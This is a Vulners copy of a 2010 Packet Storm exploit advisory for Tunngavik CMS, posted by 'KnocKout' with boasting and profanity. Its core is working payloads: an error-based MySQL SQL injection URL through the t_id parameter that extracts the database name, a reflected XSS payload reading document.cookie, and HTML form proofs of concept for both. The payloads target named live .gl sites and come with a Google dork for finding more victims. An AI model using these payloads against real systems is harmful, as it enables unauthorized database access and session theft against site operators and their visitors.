Lucene search
K

Tunngavik CMS SQL Injection / Cross Site Scripting

🗓️ 19 Dec 2010 00:00:00Reported by KnocKoutType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Tunngavik CMS SQL Injection/Cross Site Scripting exploit

Code
`=======================================================  
Tunngavik CMS <= (index.php) SQL-i/Persistent XSS Exploits  
=======================================================  
  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1  
3 3  
3 _ __ __ ________ __ __ 3  
7 /' \ /'__`\ /'__`\ /\_____ \ /\ \/\ \ 7  
1 /\_, \/\_\L\ \ /\_\L\ \\/___//'/' \_\ \ \ \____ 1  
3 \/_/\ \/_/_\_<_\/_/_\_<_ /' /' /'_` \ \ '__`\ 3  
3 \ \ \/\ \L\ \ /\ \L\ \ /' /' /\ \L\ \ \ \L\ \ 3  
7 \ \_\ \____/ \ \____//\_/ \ \___,_\ \_,__/ 7  
1 \/_/\/___/ \/___/ \// \/__,_ /\/___/ 1  
3 >> Exploit database separated by exploit 3  
3 type (local, remote, DoS, etc.) 3  
7 7  
1 [+] Site : 1337db.com 1  
3 [+] Support e-mail : submit[at]1337db.com 3  
3 3  
7 ############################################ 7  
1 I'm KnocKout 1337 Member from 1337 DataBase 1  
3 ############################################ 3  
3 3   
7-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-7  
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
[+] Author : KnocKout  
[~] Contact : [email protected]  
[~] HomePage : http://h4x0resec.blogspot.com  
[~] Reference : http://h4x0resec.blogspot.com  
[~] Special Thanks : DaiMon,BARCOD3 and H4X0RE SECURITY  
##############################################################  
exploit(lamer)-DB.com FUCK n00b LAMERS.  
  
Kralýnýz gelsin. mua:) siksqlZkýrev..  
############################################################  
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
|~Web App. : Tunngavik CMS  
|~Price : N/A  
|~Version : N/A  
|~Software: http://www.tunngavik.gl/  
|~Vulnerability Style : based SQL INjection  
|~Vulnerability Dir : /program/  
|~sqL : MysqL based error  
|~Google Keyword : "Powered by Tunngavik CMS"  
|[~]Date : "19.12.2010"  
|[~]Tested on : (L):Vista (R):Microsoft-IIS/7.0 PHP/5.2.9-2 demos  
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Demos:  
http://www.carllynge.gl  
http://www.nipilersornermikilinniarfik.gl  
http://www.kaf.gl/  
http://www.gif.gl  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
===============================================================  
|{~~~~~~~~ Explotation| index.php SQL Injection~~~~~~~~~~~}|  
  
http://$localhost/$path/program/index.php?t_id=24 {Based SQL Injection}  
  
Ex; http://www.gif.gl/  
  
[~] SQL Injecting  
http://www.gif.gl/program/index.php?t_id=24%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20concat%280x7e,0x27,unhex%28hex%28database%28%29%29%29,0x27,0x7e%29%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1  
[~] MySQL Writes : Duplicate entry '~'gif'~1' for key 'group_key'  
[+] Database OK. : 'gif'  
  
########################################################################  
POC Exploit  
  
<html>  
<body>  
<form   
action="http://www.gif.gl/program/index.php?t_id=24 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1"   
method="POST">  
<input type="submit" name="kieli" value="Click and SQL Injection for click Enter">  
</form>  
</body>  
</html>  
#######################################################################  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
===============================================================  
|{~~~~~~~~ Explotation| index.php Cross Site Scripting~~~~~~~~~~~}|  
  
http://$localhost/$path/program/index.php?action=kontakter&sprog=000000000&t_id=00000000000&shifter=000000&music=0000000 {XSS Exploit}  
  
[~]XSS attacking..  
http://www.gif.gl/program/index.php?action=kontakter&sprog=000000000&t_id=00000000000&shifter=000000&music=0000000"><script>alert(document.cookie)</script>  
[~]Browser Writes : $Cookie  
[+]Attack OK.  
  
To your continue..  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
#######################################################################  
POC XSS EXPLOIT  
<html>  
<body>  
<form   
action="http://www.gif.gl/program/index.php?action=kontakter&sprog=000000000&t_id=00000000000&shifter=000000&music=0000000"><script>alert(document.cookie)</script>"   
method="POST">  
<input type="submit" name="kieli" value="Click and xss attack for click Enter">  
</form>  
</body>  
</html>  
#######################################################################  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
  
=============================================================  
.__ _____ _______   
| |__ / | |___ __\ _ \_______ ____   
| | \ / | |\ \/ / /_\ \_ __ \_/ __ \   
| H \/ ^ /> <\ \_/ \ | \/\ ___/   
|___| /\____ |/__/\_ \\_____ /__| \___ >  
\/ |__| \/ \/ \/   
_____________________________   
/ _____/\_ _____/\_ ___ \   
\_____ \ | __)_ / \ \/   
/ \ | \\ \____  
/_______ //_______ / \______ /  
\/ \/ \/ Was here.  
================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation